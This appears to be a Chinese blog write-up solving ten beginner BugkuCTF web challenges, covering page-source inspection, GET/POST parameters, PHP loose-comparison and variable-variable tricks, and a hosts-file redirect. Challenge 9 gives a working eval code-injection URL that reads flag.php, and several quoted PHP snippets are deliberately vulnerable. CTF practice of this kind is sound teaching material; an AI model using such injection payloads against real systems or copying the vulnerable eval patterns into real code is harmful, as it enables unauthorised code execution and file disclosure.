BugkuCTF web_1-10

1 web2
查看网页源码,看到flag。

————————————

2 计算器
打开检查,找到对应输入答案的源码

<input type="text" class="input" maxlength="1">

可以看到maxlength=“1”,表示表单中输入数据最大长度为1,改成加法运算结果的位数就可以了。
要注意的是改完之后不能刷新。

————————————

3 web基础$_GET

$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

php代码,如果what=flag,则打印出flag。
可以在url中添加?what=flag,出现flag。
添加代码:http://123.206.87.240:8002/get/?what=flag

————————————

4 web基础$_POST

$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

如果post提交的what=flag,则打印出flag。
由于小白没有浏览器的插件,就用python写了一个

>>> import requests
>>> data = {"what":"flag"}
>>> r = requests.post("http://123.206.87.240:8002/post/", data=data)
>>> print(r.text)


$what=$_POST['what'];<br>
echo $what;<br>
if($what=='flag')<br>
echo 'flag{****}';<br>
flagflag{bugku_get_ssseint67se}

————————————

5 矛盾

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

is_numeric($num)表示如果num是数字或数字字符串则返回true,否则返回false。
php判断字符串以1开头即可判断等值,于是构造num=1x, x随便是什么都可以,就可以爆出flag。

在url后添加加黑部分即可http://123.206.87.240:8002/get/index1.php ?num=1x

————————————

6 web3
打开网页一直是提示框,源码也看不到,就用python爬了一下网页源码。如下

>>> import requests
>>> r = requests.get("http://123.206.87.240:8002/web3/")
>>> r.encoding = r.apparent_encoding
>>> print(r.text)
<html>  
<head> 
<title>BKCTF-WEB3title>  
<script language="javascript">   
alert("flag就在这里");  
alert("来找找吧"); 
alert("来找找吧"); 
alert("flag就在这里");  
alert("来找找吧"); 
alert("flag就在这里");  
<!--中间省略部分代码-->
<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;
&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;-->
script>  
head>  
html>  

其实注释里的数字就是字符的ascii码,把他们翻译成字符就得到了flag。

————————————

7 域名解析
题目描述:听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag

这道题是要求将flag.baidu.com解析到123.206.87.240。

域名(英语:Domain Name),简称域名、网域,是由一串用点分隔的名字组成的Internet上某一台计算机或计算机组的名称,用于在数据传输时标识计算机的电子方位(有时也指地理位置)。
例如,www.wikipedia.org是一个域名,和IP地址208.80.152.2相对应。

先说一下域名解析的知识:域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。

回到这道题目,怎么让浏览器把域名解析成ip

我们知道在Windows系统下有一个hosts文件,这个文件的作用是什么呢,hosts文件的作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。

找一下这个hosts文件
这个文件在我们系统中的位置:C:\Windows\System32\drivers\etc\hosts

找到这个文件之后,使用记事本打开,打开之后,在最后一行添加:
123.206.87.240 flag.baidu.com,然后保存。
然后回到浏览器,在地址栏输入域名:flag.baidu.com,回车之后,网页爆出了flag

hosts文件中添加解析的格式为:IP地址 域名。之间至少有一个空格。
转载:https://blog.csdn.net/qq_38603541/article/details/85054018

————————————

8 你必须让他停下
bp抓包,发送到repeater,多go几次就能出来。
或者打开源码,每次出现图片的一瞬间会爆出flag,等着那一下,ctrl+c就ok了。

————————————

9 本地包含

1.$_REQUEST: 可以获取以POST方法和GET方法提交的数据,但是速度比较慢
2.eval: 把字符串按照 PHP 代码来计算,该字符串必须是合法的 PHP 代码,且必须以分号结尾。


eval("echo'hello';echo' world';");
?>
# output
hello world

var_dump: 函数用于输出变量的相关信息

# 数字
var_dump(1); > int(1)
# 字符串
var_dump("string"); >  string(6) "string"

构建url:http://123.206.87.240:8003/index.php?hello=1);print_r(file("./flag.php")
注意最后少了一个),因为在eval里有。
构建的URL触发的 eval操作为
eval(“var_dump(1);print_r(file(”./flag.php")")

————————————

10 变量1

   
error_reporting(0);                    // 关闭php错误显示
include "flag1.php";                   // 引入flag1.php文件代码
highlight_file(__file__);              //对文件进行语法高亮显示
if(isset($_GET['args'])){              // 条件判断 get方法传递的args参数是否存在 
    $args = $_GET['args'];             //赋值给变量  $args
    if(!preg_match("/^\w+$/",$args)){  // /^开始, \w表示任意一个单词字符,即[a-zA-Z0-9_] ,+将前面的字符匹配一次或多次,$/结尾
        die("args error!");            //输出 args error! 
    }
    eval("var_dump($$args);");         // 将字符串作为php代码执行结尾加分号 var_dump()函数 显示关于一个或多个表达式的结构信息,包括表达式的类型与 值。数组将递归展开值,通过缩进显示其结构。$$args 可以理解为$($args)
}
?>

一个是正则表达式匹配,不匹配则直接die,该正则表达式应该是匹配都是字母的串。然后最关键的是最后的 $ $ args, 这是可变变量的意思,如 $ args的值是另一个变量的变量名。那么$$args就代表另一个变量。所以我们就给args赋值一个变量名,那么PHP的九大全局变量,一个一个试。

//在变量前面加上两个$$,如$$name,这表示可变变量,可以动态的设置和使用,先设置一个普通变量,一个可变变量会获取了一个普通变量的值作为这个可变变量的变量名

$a = 'b';
$b = 'c';
$c = 'a';

echo $a."
"
; //b $a=b没啥说的 echo $$a."
"
; //c 为了更好理解将$$a拆分成两部分理解,$和$a,$a的值为b,再在前面加一个$就变成$b了,而$b的值为c ${$a} == $b echo $$$a."
"
; //a 为了更好理解将$$$a拆分成三部分理解,$、$和$a,$a的值为b,再在前面加一个$就变成$b值为c,再在前面加一个$就变成$c了,而$c的值为a ${${$a}} == ${$b} == $c echo $$$$a."
"
; //b 为了更好理解将$$$$a拆分成四部分理解,$、$、$和$a,$a的值为b,再在前面加一个$就变成$b值为c,再在前面加一个$就变成$c值为a,再在前面加一个$就变成$a值为b 依次类推 ${${${$a}}} == ${${$b}} == ${$c} == $a

在 PHP 里面有一个 GLOBAL 变量 ,直接包含了所有的全局变量,所以我们只要传入 args=GLOBAlS 注意 GLOBALS 要大写,就可以获取到 flag 了。

你可能感兴趣的:(CTF,web)